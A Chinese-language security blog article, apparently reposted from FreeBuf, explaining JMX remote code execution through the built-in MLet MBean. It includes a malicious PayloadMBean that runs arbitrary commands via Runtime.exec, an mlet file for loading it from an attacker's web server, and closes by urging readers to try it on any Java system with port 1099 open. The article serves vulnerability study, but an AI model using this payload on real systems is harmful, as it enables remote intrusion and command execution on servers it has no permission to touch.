JMX远程代码漏洞研究

栏目: IT技术 · 发布时间: 4年前

内容简介:前一段时间apace solr JMX因为配置不当出现远程代码执行漏洞,最近自己在看一套java系统时,发现该系统也存在JMX远程代码漏洞,于是乎就想研究下JMX这种通用型漏洞,下面我就从原理到利用对该漏洞做一个简单的梳理。JMX(Java Management Extensions,即Java管理扩展)是一个为应用程序、设备、系统等JMX是管理扩展,通过JMX我们可以监控管理我们的指定的java程序。但不是所有的java类都能被管理。只有按照特定格式编写的java类才能被jmx原理。这种特定格式机制我们称

前言:

前一段时间apace solr JMX因为配置不当出现远程代码执行漏洞,最近自己在看一套 java 系统时,发现该系统也存在JMX远程代码漏洞,于是乎就想研究下JMX这种通用型漏洞,下面我就从原理到利用对该漏洞做一个简单的梳理。

一、 JMX 服务和MBean

JMX(Java Management Extensions,即Java管理扩展)是一个为应用程序、设备、系统等 植入 管理功能的框架。JMX是一套复杂的机制,由于我们要讲的JMX远程代码漏洞和MBean相关,所以这里我们之介绍jmx和mbean相关的一些基础知识。

JMX是管理扩展,通过JMX我们可以监控管理我们的指定的java程序。但不是所有的java类都能被管理。只有按照特定格式编写的java类才能被jmx原理。这种特定格式机制我们称为Mbean。

我们先看一个简单的MBean,mbean首先需要定义一个接口,定义格式xxxMBean,

之后再定义一个实现该接口的类。

JMX远程代码漏洞研究

JMX远程代码漏洞研究

二、 MBeanServer

对于已经实现的MBean,我们怎么进行监控和管理,这里就需要MBeanServer了。我们可以将MBeanServer理解为一个mbean的仓库,需要监控的mbean都需要先注册到仓库中。向MBeanServer注册mbean有两种方式,一是本地注册,二是远程注册(远程注册就为我们执行任意代码提供了可能,后面会细讲)。

我们先看一段简单的代码,本地向mbeanserver注册mbean。

public static void main(String[] args) throwsException{
MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
//向MBeanServer 注册 mbean
ObjectName helloName = new ObjectName("HelloMbean:name=Hello");
mBeanServer.registerMBean(new Hello(), helloName);
Registry registry = LocateRegistry.createRegistry(1099);
//构造 JMXServiceURL
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
jmxConnectorServer.start();
System.out.println("JMXConnectorServer is running");}

运行程序,使用jconsole链接127.0.0.1:1099,可以看到我们的HelloMBean,也可以执行Hello()函数。

JMX远程代码漏洞研究 整个过程代码实现如下:

static void JMXClient() throws Exception{     JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");     JMXConnector jmxConnector = JMXConnectorFactory.connect(url,null);     MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();     ObjectName mbeanName = new ObjectName("HelloMbean:name=Hello");     //通过反射机制执行Hello中的hello()方法     mBeanServerConnection.invoke(mbeanName, "Hello", null, null); }

我们可以在代码中执行MBean中的方法。

三、 一个特殊的Mbean 之MLet

前面我们知道了mbean是什么东西,这里我们需要认识一个特殊的mbean叫MLet。

这是一个系统自带的mbean。我们简单看下其定义。

/**  * Exposes the remote management interface of the MLet  * MBean.  */ public interface MLetMBean   {
public class MLet extends java.net.URLClassLoader
implements MLetMBean, MBeanRegistration, Externalizable { private static final long serialVersionUID = 3636148327800330130L;/** * The reference to the MBean server.*/ private MBeanServer server = null;

JMX远程代码漏洞研究

简单理解就是,我们可以通过Mlet加载一个远程服务器上的MBean,并且没有对远程的mbean做合法性检测。

Mlet定义了一个函数getMBeanFromURL,用来加载并实例化远程的Mbean。

JMX远程代码漏洞研究

至于getMBeanFromURL怎么加载远程mbean,加载哪个mbean。需要mlet来规定。

上面规定了mlet的格式,下面我们简单看下几个必须字段的含义。

CODE = class

此属性指定了要获取的 MBean 的Java 类的全名,包括包名称。

ARCHIVE = “ archiveList ”

此属性是必需的,它指定了一个或多个 .jar 文件,这些文件包含要获取的MBean 使用的 MBean 或其他资源。

NAME = mbeanname

当 m-let 已注册MBean 实例时,此可选属性指定了要分配给MBean 实例的对象名称。如果mbeanname 以冒号字符(:) 开始,则对象名称的域部分是 MBean 服务器的默认域,可由 MBeanServer.getDefaultDomain() 返回。

四、 使用Melt 加载远程MBean

上一节我们简单介绍了下MLet,这节介绍下怎么加载远程的MBean

下面我们先实现一个恶意的MBean,并将其打包成JMXPayload.jar。

public interface PayloadMBean {     public String runCmd(String cmd) throws IOException, InterruptedException; } public class Payload implements PayloadMBean {     @Override     public String runCmd(String cmd) throws IOException,InterruptedException {         Runtime runtime = Runtime.getRuntime();         Process process = runtime.exec(cmd);         BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream()));         BufferedReader stdError = new BufferedReader(new InputStreamReader(process.getErrorStream()));         String stdout_data = "";         String strtmp;         while ((strtmp = stdInput.readLine()) != null) {             stdout_data += strtmp + "\n";         }         while ((strtmp = stdError.readLine()) != null) {             stdout_data += strtmp + "\n";         }         process.waitFor();         return stdout_data;     } }

构造mlet文件

<mlet code=Payload archive= JMXPayload.jar name=:name=Payload></mlet>

将mlet和JMXPayload.jar放在web下同一个目录中。

JMX远程代码漏洞研究

先使用registerMBean向MBeanServer注册Mlet,然后使用getMBeanFromURL函数加载远程的PayloadMBean。

运行程序,使用jsonsole连接127.0.0.1:1099

JMX远程代码漏洞研究 五、 向远程的MBeanServer 注册mbean

前几节介绍的向MBeanServer注册mbean都是在server端完成的,那如何在client端向远程的MBeanServer注册mbean呢。

我们先实现一个默认的MBeanServer,没有向其注册我们的mbean。

JMX远程代码漏洞研究

本地我们可以通过MBeanServer.RegisterMBean注册mbean

远端我们可以通过MBeanServerConnection.createMBean注册mbean

客户端代码:

JMX远程代码漏洞研究

Jconsole查看结果如下,Mlet已经被注册:

JMX远程代码漏洞研究 然后通过getMBeansFromURL加载我们的恶意Mbean,执行结果如下:

JMX远程代码漏洞研究

然后可以通过payload执行任意代码

JMX远程代码漏洞研究 当然这个jsonsole执行代码这个流程可以使用代码实现,有兴趣的可以自己研究下。

六、总结

至此,JMX漏洞的整理利用流程就结束了。我们再重新梳理下过程。

首先是MBeanServer提供了一套远程注册MBean的机制,让我们能够在本地向远端注册MBean。这个问题不大,因为我们不能注册自己写的mbean,只能注册远端服务器上已经有的mbean。巧的是jdk自己就有一些mbean,其中有一个mbean叫mlet。

Mlet是实现了一个函数getMBeansFromURL(url),这个函数能够加载并实例化我们指定的远程mbean,从而导致了我们的恶意payloadMBean被加载注册到MBeanServer上,导致任意命令执行。

JMX漏洞是一个通用型漏洞,如果遇到java系统开启1099端口,或者开启jmx的都可以使用该漏洞测试一下,惊喜就在意外中。

参考:

https://www.apiref.com/java11-zh/java.management/javax/management/loading/MLet.html

https://www.anquanke.com/post/id/194126

*本文原创作者:MrCoding,本文属于FreeBuf原创奖励计划,未经许可禁止转载


以上所述就是小编给大家介绍的《JMX远程代码漏洞研究》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

IT不再重要

IT不再重要

(美)尼古拉斯·卡尔 / 闫鲜宁 / 中信出版社 / 2008-10 / 29.00元

在这部跨越历史、经济和技术领域的著作中,作者从廉价的电力运营方式对社会变革的深刻影响延伸到互联网对我们生活的这个世界的重构性影响。他批判式的认为,企业想应用网络或应用程序,不再需要自建资料中心、自组IT团队维护和管理系统,因为互联网就像自来水或电力一样,可由专门公司提供服务,你可以付费使用。而如果他的设想真的会实现,我们的世界将会变成什么样子?IT产业的命运又将如何?这又对企业的IT领域投资产生什......一起来看看 《IT不再重要》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

html转js在线工具
html转js在线工具

html转js在线工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具